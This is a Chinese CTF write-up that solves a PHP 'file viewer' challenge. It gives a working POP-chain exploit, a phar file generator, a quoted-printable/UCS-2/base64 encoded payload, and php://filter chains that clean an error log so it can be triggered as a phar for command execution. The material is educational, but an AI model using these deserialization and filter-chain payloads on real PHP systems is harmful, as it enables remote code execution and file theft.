WP篇之解析GFCTF---文件查看器

解析GFCTF—文件查看器

之前那篇文章写了GC回收机制与phar反序列化,正好校赛中就有一道这种类型的题,那么我们就来详细聊聊这道题,这道题在比赛的时候是零解,它需要的其它知识点会在文章中慢慢介绍

这道题可以在Xenny师傅的平台上复现:https://www.ctfer.vip/,题目进去之后首先是一个登录框。直接admin admin,登陆进去,然后就www.zip下载源码,源码如下,User.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
class User{
public $username;
public $password;

public function login(){
include("view/login.html");
if(isset($_POST['username'])&&isset($_POST['password'])){
$this->username=$_POST['username'];
$this->password=$_POST['password'];
if($this->check()){
header("location:./?c=Files&m=read");
}
}
}

public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}

public function __destruct(){
(@$this->password)();
}

public function __call($name,$arg){
($name)();
}
}

Myerror.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Myerror{
public $message;

public function __construct(){
ini_set('error_log','/var/www/html/log/error.txt');
ini_set('log_errors',1);
}

public function __tostring(){
$test=$this->message->{$this->test};
return "test";
}
}

Files.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class Files{
public $filename;

public function __construct(){
$this->log();
}

public function read(){
include("view/file.html");
if(isset($_POST['file'])){
$this->filename=$_POST['file'];
}else{
die("请输入文件名");
}
$contents=$this->getFile();
echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
}

public function filter(){
if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
throw new Error("这不合理");
}
}

public function getFile(){
$contents=file_get_contents($this->filename);
$this->filter();
if(isset($_POST['write'])){
file_put_contents($this->filename,$contents);
}
if(!empty($contents)){
return $contents;
}else{
die("该文件不存在或者内容为空");
}
}

public function log(){
$log=new Myerror();
}

public function __get($key){
($key)($this->arg);
}
}

构造pop链

先来简单分析分析这代码吧,毫无疑问这是一条pop的链子,而且这条链子还挺简单的,这里就简单分析下:

链子肯定还是首先先找头和尾,头部在User类的__desctruct中,然后尾部是在Files类中的__get中,里面可以执行任意命令;头部首先进入了__desctruct()后,可以通过数组的形式访问任意类的任意方法,那我们就让它访问User类的check()方法中,然后这里有echo,以字符串的形式输出对象,然后就会跳到Myerror类中的__tostring()方法中,然后它里面的$this->test是可控的,我们让它等于一个Files类里面没有的属性就行了,就可以直接调用__get方法了,并且给$key赋值,所以说现在的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Files{
public $filename;

public function __construct(){
$this->arg = 'cat /f*';
}
}
class Myerror{
public $message;

public function __construct(){
$this -> test = 'system';
$this -> message = new Files();
}
}
class User{
public $username = 'admin';
public function __construct(){
//$this -> password = [$this,"check"];
$this -> username = new Myerror();
}

}
$a = new User();
$a -> password = [new User(),"check"];
echo serialize($a);

这里有个坑点就是给password赋值必须在外面赋,而不能在__construct()里面,如果在里面赋值的话最后就打不通,我试了试链子是能通的,但最后写进文件里面再打就不行,这个问题困扰了我很久,而且也问过出题人,感觉就挺离谱的

链子有了我们就应该考虑下一个问题,就是怎么触发这个反序列化,没有unserialize肯定是无法直接触发的,这里猜测大概率是phar反序列化,但问题就是怎么把phar文件上传上去,这里没有上传页面,肯定是不能直接传的,但我们可以看到Myerror.class.php中写到将错误日志文件写到了/var/www/html/log/error.txt,这里就给我们很明显的提示了,就是把想要的数据写入到错误日志里面,我们先随便写点数据进去看看它是个什么形式:

image.png

image.png

可以看到我们想要的数据以及写进去了,但它前前后后全是垃圾数据,我们得想办法把这些垃圾数据清除掉,让它可以被成功解析,这时候我们看到提示里面说的是php://filter中有很多有趣的过滤器,利用这些过滤器编码就可以吃掉这些脏数据,这里就涉及到新知识点了,具体可以参考这篇文章:https://www.anquanke.com/post/id/240007

php://filter混合使用吃掉脏数据

首先,日志文件中经常会有一些历史的数据,我们首先得先清空文件内容,用到这个过滤器php://filter/read=consumed/resource,后面加上想要清空的文件名就行了,本题为:php://filter/read=consumed/resource=log/error.txt

提到利用过滤器编码,我们首先想到的肯定是php://filter/read=convert.base64-encode/resource,为了避免特殊字符造成的混乱,我们可以在读文件时先将文件内容base64编码一下,而PHP在进行base64解码的时候,不符合base64标准的字符就会被自动忽略,因为base64编码只有可能由a-zA-Z0-9这些字符以及=填充字符组成,那么就只会将这些合法字符组成密文进行解密

我们通过上面可以看出,日志文件的格式是[x1]phar文件[x2][x1]和[x2]都是我们不想要的的脏数据,我们利用单个的base64编码肯定是吃不到他们的,但我们的思路是把除了phar文件以外的其它内容全变成非base64的合法字符,这样的话最后来一次base64解码就都吃掉了

这时候我们看到那篇文章中写道,我们可以先将需要的数据转换成utf-16le的格式;当它由utf-8转换为utf-16le时,它的每一位字符后面都会加上一个\0,这个\0是不可见字符,但当我们将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,其它的就会被当成乱码,当成乱码就很好呀,前面我们提到了我们就是想要把不需要的内容变成乱码,接下来看看测试:

image.png

image.png

好耶,成功了,除了我们想要的内容其它内容都变成了乱码,不过在这道题中,由于utf-16leban掉了,所以说我们得想个别的来代替,这里可以用ucs-2来代替就行,原理是一样的;这里还有最后一个问题,就是对空字节的处理,它只有一字节,而 file_get_contents() 在加载有空字节的文件时会 warning,所以说我们要对它进行填充编码,这时候我们就能联想到quoted-printable这种编码了,这里面我就直接偷那篇文章里对这种编码的介绍了:

1
2
3
4
5
quoted-printable
这种编码方法的要点就是对于所有可打印字符的 ascii 码,除特殊字符等号 = 外,都不改变。
= 和不可打印的 ascii 码以及非 ascii 码的数据的编码方法是:
先将每个字节的二进制代码用两个十六进制数字表示,然后在前面再加上一个等号 = 。
举例如 = ,它的编码便是 =3D ,3D 可对照十六进制 ascii 码表得到。

它也有对应的过滤器:convert.quoted-printable-decode,所以说经过这三次编码之后,就可以出现纯净的phar文件了,所以它解码的顺序为:convert.quoted-printable-decode --> ucs-2 -> utf-8 --> base64-decode

所以说我们的编码顺序是:base64-encode --> utf-8 -> ucs-2 --> convert.quoted-printable-decode,我们可以写一个编码脚本:

1
2
3
4
5
6
7
8
<?php
$b=file_get_contents('ars2.phar');
$payload=iconv('utf-8','UCS-2',base64_encode($b));
file_put_contents('payload.txt',quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;
?>

GC回收机制触发__desctruct

这里就是这道题的最后的考点了,因为这里我们要触发phar反序列化,所以说肯定是绕不过phar://的,但注意这里的顺序,是先经过file_get_contents然后再经过filter(),所以说这就是上篇文章讲的那个知识点了,由于异常退出它不能正常进入__desctruct(),所以说我们得利用数组让这个对象失去引用进而触发GC回收机制进入到__desctruct(),这个具体可以看我上一篇文章,这里就直接构造exp了,在上一个exp的基础上进行修改即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Files{
public $filename;

public function __construct(){
$this->arg = 'cat /f*';
}
}
class Myerror{
public $message;

public function __construct(){
$this -> test = 'system';
$this -> message = new Files();
}
}
class User{
public $username = 'admin';
public function __construct(){
//$this -> password = [$this,"check"];
$this -> username = new Myerror();
}

}
$a = new User();
$a -> password = [new User(),"check"];
$b=[$a,null];
$phar = new Phar("ars.phar");
$phar -> startBuffering();
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($b);
$phar -> addFromString("test.txt","aaaaaaatest");
$phar -> stopBuffering();
?>

生成phar文件之后,把后面的i:1改成i:0,这里有个坑点就是不能在记事本里面直接改,直接改后面打不出来,也挺离谱的,得放到winhex里面去改十六进制就行

image.png

改完之后就是去修改签名,由于它也是sha1加密,所以说去跑上次那个修改签名的脚本就行了,直接手动跑出签名填上也行,然后就是去跑那个加密脚本,得到结果:

1
=00R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00q=00N=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00X=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00P=00O=00j=00c=006=00I=00k=001=005=00Z=00X=00J=00y=00b=003=00I=00i=00O=00j=00I=006=00e=003=00M=006=00N=00z=00o=00i=00b=00W=00V=00z=00c=002=00F=00n=00Z=00S=00I=007=00T=00z=00o=001=00O=00i=00J=00G=00a=00W=00x=00l=00c=00y=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=00m=00a=00W=00x=00l=00b=00m=00F=00t=00Z=00S=00I=007=00T=00j=00t=00z=00O=00j=00M=006=00I=00m=00F=00y=00Z=00y=00I=007=00c=00z=00o=003=00O=00i=00J=00j=00Y=00X=00Q=00g=00L=002=00Y=00q=00I=00j=00t=009=00c=00z=00o=000=00O=00i=00J=000=00Z=00X=00N=000=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00T=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=009=00a=00T=00o=00x=00O=003=00M=006=00N=00T=00o=00i=00Y=002=00h=00l=00Y=002=00s=00i=00O=003=001=009=00a=00T=00o=00w=00O=000=004=007=00f=00Q=00g=00A=00A=00A=00B=000=00Z=00X=00N=000=00L=00n=00R=004=00d=00A=00s=00A=00A=00A=00C=00L=001=006=00R=00h=00C=00w=00A=00A=00A=00N=00v=00G=00o=00S=00C=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00G=00F=00h=00Y=00W=00F=00h=00Y=00W=00F=000=00Z=00X=00N=000=006=00O=00q=00P=00c=004=00H=00F=00K=009=00m=00B=003=00b=00p=00Q=00s=00r=005=00Y=00g=00y=004=00x=00o=00L=00Y=00C=00A=00A=00A=00A=00R=000=00J=00N=00Q=00g=00=3D=00=3D

开冲

接下来就去打了,这里还有最后一个坑点,我们来讲,为了看出这个坑点,过滤器我们一个一个的用,就不一次直接用三个了:

image.png

首先把payload传上去,然后打第一个过滤器:php://filter/write=convert.quoted-printable-decode/resource=log/error.txt

image.png

这里看不出有啥问题,接着打第二个:php://filter/write=convert.iconv.ucs-2.utf8/resource=log/error.txt

image.png

打完之后发现这个末尾是有两个=号的,然后我们打第三个:php://filter/write=convert.base64-decode/resource=log/error.txt

image.png

好家伙,打完之后发现就只有一个=号了,还有一个奇怪的字符,就离谱,这肯定是打不出来的,至于为啥我也不太清楚,为了补回那个等号,说我们得把payload末尾的=00=3D再写一遍,让这个=正常露出来就行了,改好payload之后先清空日志文件,然后将新的payload传进去,然后直接三个过滤器连在一起用就行了,最后phar://log/error.txt触发即可:

php://filter/read=convert.quoted-printable-decode|convert.iconv.ucs-2.utf-8|convert.base64-decode/resource=log/error.txt

image.png